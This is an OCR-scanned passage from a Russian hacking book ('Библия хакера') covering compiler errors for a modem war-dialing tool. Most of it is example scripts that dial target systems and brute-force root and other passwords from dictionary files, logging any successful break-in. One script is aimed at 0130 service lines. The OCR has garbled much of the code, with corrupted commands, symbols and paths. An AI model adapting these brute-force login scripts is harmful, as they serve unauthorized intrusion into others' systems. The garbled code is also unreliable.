БИБЛИЯ ХАКЕРА

Сообщения об ошибках

Если в процессе компиляции вы получаете сообщение об ошибке, то помните, что в вашем распоряжении имеется файл <name>,BAK. Про­смотрите и внимательно изучите содержимое этого файла.

При компилировании скрипта может всплыть только два сообще­ния об ошибке:

• WARNING

Вы что-то не так скомпилировали. Компилятор в любом случае со­здаст скрипт, который может запуститься без всяких проблем.

Это сообщение, например, может быть выдано, если невозможно найти указанного словаря. Возможно, что вы не полностью подготовили копию.

• ERROR

Это критическая ошибка. В какой-то момент компилятор прервал необходимую процедуру завершения. Для исправления этой ошибки, проверьте файл с расширением. ВАКи ваш исходный файл.

Пример стандартного скрипта

«DEFINE

PHONE_NR=,

LOGFILE=lh&scave. log

DIC(1)=d:projecthackwordbadpws. die

; задайте корректный путь к вашему словарю #NOCARRIER

IF S_TMP=DEFINE THEN EXECUTE(scavenge. exe /nooutput /s hangup, scr)

LOG(Carrier lost on $DATE at $TIME)

LOGO

G0T0(#START) «START

SET S_TMP=UNDEFINE ; SET S_TMP=DEFINE

HANGUP

LOG_SESSION_ON - ■

SET STRING2=

IF S_TMP=DEFINE THEN EXECUTE(scavenge. exe /nooutput /s pickup. scr)

IF S_TMP=UNDEFINE THEN SEND(AT HI)

EXEC(JTE(scavenge. exe /nooutput /s thc&scav. scr)

: 111

SEND(ATD) SET D_TMP=0

: 112

WAIT(1) INC(D_TMP)

IF D_TMP>50 THEN GOTO(99) CHECK4CARRIER(112)

SENDQ

; послать возврат каретки после соединения ■

:1

WAIT(1)

IF STRING2-assw THEN GOTO(2) G0T0(1) :2

SEND_NEXT_DIC(1) І

WAIT(2)

IF STRING2"ncorr THEN GOTO(3) goto(50) :3

SET STRING2= :4

WAIT(1)

IF THEN

GOTO(4)

:5

SEND_NEXT_DIC(1) WAIT(2)

IF STRING2~ncorr THEN GOTO(6) GOTO(50) :6

SET STRING2= :7

WAIT(1)

IF STRING2"assw THEN G0T0(8) GOTO(7) :8

SEND_NEXT_DIC(1)

WAIT4STRING(10,,1,G0T0(50), ncorr) GOTO(99) : 50

BEEP BEEP BEEP

L0G(---------------------------- )................................................. )

LOG($DATE $TIME) LOGO

L0G(PASSWORD: $DIC(1)) LOGO G0T0(150) : 99

CHECK4 CARRIER(OFF)

IF S_TMP=UNDEFINE THEN GOTO(ftSTART) EXECUTE(scavenge. exe /s rebreak. scr)

; создание скрипта для перенабора номера и дозвона до цели G0T0C111) : 150

IF S_TMP=DEFINE THEN EXECUTE(scavenge. exe /nooutput /s hangup. scr)

G0T0(#END)

SEND

Первый пример скрипта

Системный дескриптор: UNIXна F. Но вы никогда не должны это делать. «DEFINE

L0GFILE=C:UTPUTNY-SYS5. LOG

PHONE_NR=I dont tell you ; )

DIAL_TRIES=3

LOGIN_TRIES=0

DIC(1)=C:HACKINGDICTI0NA. RYBAD_PWS. DIC #N0CARRIER

BEEP BEEP BEEP

LOG(NO CARRIER) . LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOGO

G0T0(«START) «START

L0G(---------------------------- )------------------------------------- )

LOG (TARGET '. $PH0NE_NR ON $DATE - $TIME) LOGO : 1

LOG(Dialing ...) DIAL

LOG($STRING) LOG_SESSION_ON SEND() SENDO

WAIT4STRING(15,"M,4,G0T0(1),name)

SEND( )

LOG_SESSION_OFF :2

SEND(CONNECT HACK. THIS. SYSTEM. EDU)

:3

WAIT4STRING(30, "C, 1, G0T0(2), ogin:) SENO(root)

WAIT4STRING(20, "0,1,G0T0(2), assword:) SEND_NEXT_DIC(1) IF STRING"ogin: THEN GOTO(3) IF STRING" refused THEN GOTO (2)

LOGO

LOG($STRING) LOGO

L0G(!!!! ! WE GOT THROUGH!!!!!!)

LOG(Login : root)

L0G(Password : $DIC(1))

LOGO

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP ■

G0T0(«END)

«END

Второй пример скрипта

«DEFINE

INIT_M0DEM=AT&N15

INIT_DATA=7E1

L0GFILE=C:UTPUTTELEK0M4.LOG

PH0NE_NR=I dont tell you ;)

DIAL_TRIES=3

LOGIN_TRIES=0

BRUTE(1)=1,1,1,12

«NOCARRIER

BEEP BEEP BEEP

LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $BRUTE(1))

LOGO

G0T0(#START) #START

L0G(---------------------------------- )----------------------------- )

LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOGO :1

LOG(Dialing...) HANGUP. ■

DIAL

LOG(SSTRING)

WAIT4STRING(15, 4,G0T0(1),PA)

:2

SEND„NEXT_BRUTE(1) WAIT4STRING(3,"M,2,GOTO(3),PA) G0T0(2) :3

LOG_SESSION_ON

SEND()

SEND(?)

SEND(HELP)

SEND(HILFE)

LOGO

L0G(! I! !! WE GOT THROUGH. !!!!!!)

LOG(Password : $BRUTE(1))

LOGO

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

G0T0(#END)

#END

Третий пример скрипта

Этот скрипт может быть использован на некоторых небесплатных телефонных линиях 0130-хххххх. ; Система требует пароль

; Неограниченное количество попыток позволяет войти в систему

; 30xCrLf ; PASSC00E:*****

«DEFINE

INIT_M0DEM=AT &F L2

INIT_DATA=8N1 LOGFILE=xxxxxx. LOG PH0NE_NR=01ЗОхххххх

DIAL_TRIES=5 L0GIN_TRIES=0

DIC(1)=C: 2thc-lh09w1.w «NOCARRIER

BEEP BEEP BEEP

L0G(N0 CARRIER) :

L0GC0N $DATE STIME) LOG(AT $DIC(1))

LOGO

G0T0(#START) «START

LOGC------------------ —)—---------------------------- )

LOG (TARGET : $PH0NE_NR ON $DATE - $TIME) LOGO : 1

L0G(Dialing...)

HANGUP

DIAL

LOG($STRING)

WAIT4STRING(30,. "M.3. G0T0(1), PASS)

:2

Set string=

SEND_NEXT_DIC(1)

Wait(1)

L0G($DIC(1))

; да, регистрироваться с каждой попытки! WAIT4STRING(15,."М,3,G0T0(3),PASS) G0T0(2)

: 3

LOG_SESSION_ON

SEND()

SEND(?)

SEND(HELP)

SENDQ

LOGO

L0G(!!!!! WE GOT THROUGH!!!!! I) LOG(Password : $DIC(1))

LOGO

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

G0T0(#END)

«END

Четвертый пример скрипта

Это скрипт предназначен исключительно для платформ Telnet.

«DEFINE

Init_modem=z

Init_data=8n1 L0GFILE=xxxxxx. log

PHONE_NR=xxxxxx

DIAL_TRIES=0

L0GIN_TRIES=0

DIC(1)=D:hackusrdictbig. txt ;dic(2)=d:hackusrbigdict2.txt ;dic(3)=d:hackusrbigdict3.txt #NOCARRIER

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

L0G(returning...)

G0T0(«START)

«START

HANGUP

LOG_SESSION_ON

LOGO

Log()

Log( HaCK ATTeMPT STaRTeD................. )

Log()

Log( TaRGeT: $PHONE_NR )

Log( DaTe; $DATE ) log( TiMe: $TIME)

Log() log()

Log(.... DiaLiNG)

Dial log()

Log(.... CoNNeCTeD! )

Log() log() wait (5) : 1

Wait4string(1,~H,5,goto(#start),sername>) send(fh65) :2

Wait4string(1,"M,5,goto(#start),ocal>)

Send(connect 189.25.56.7) :3

If string'sconnected then goto(2) if string~ncorrect then goto(3) wait4string(1,"C,5,goto(4),ogin:) send(root)

If string~sconnected then goto (2) if string~ncorrect then goto(3)

:4

If string~sconnected then goto (2) if string"ncorrect then goto(3) wait4string(1,"0,5,goto(4),assword:)

Send_next_dic(1)

If string~sconnected then goto(2) if string~ncorrect then goto(3) ■

:5

If string~sconnected then goto (2) if string~ncorrect then goto(3)

:6 . ■

Wait(1)

If string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1)

If string~sconnected then goto(2) if string~ncorrect then goto (3) wait(1)

If ^^^^^Oconnected then goto(2) if string~ncorrect then goto(3)

Wait(1>

If string~sconnected then goto (2) if string~ncorrect then goto(3) wait(1)

If string*~sconnected then goto(2) if string"ncorrect then g0t0(3) wait(1)

If string"sconnected then goto(2) if string~ncorrect then goto(3) wait(1)

If string'sconnected then goto(2) if string"ncorrect then goto(3)

Wait О)

If string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1)

If string~sconnected then goto(2) if string~ncorrect then goto(3) :7

Beep

Beep

Beep

Beep

Beep

Beep

Beep

Beep

Beep

Log()

Log()

Log()

Log(.......... .HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)

Log()

Log( TaRGeT: $PH0NE_NR DaTe: $DATE TiMe: $TIME)

Log()

Log()

Log()

Log( ACCouNT: root) log( PaSSWoRD: DIC(1))

LogO logO logO #END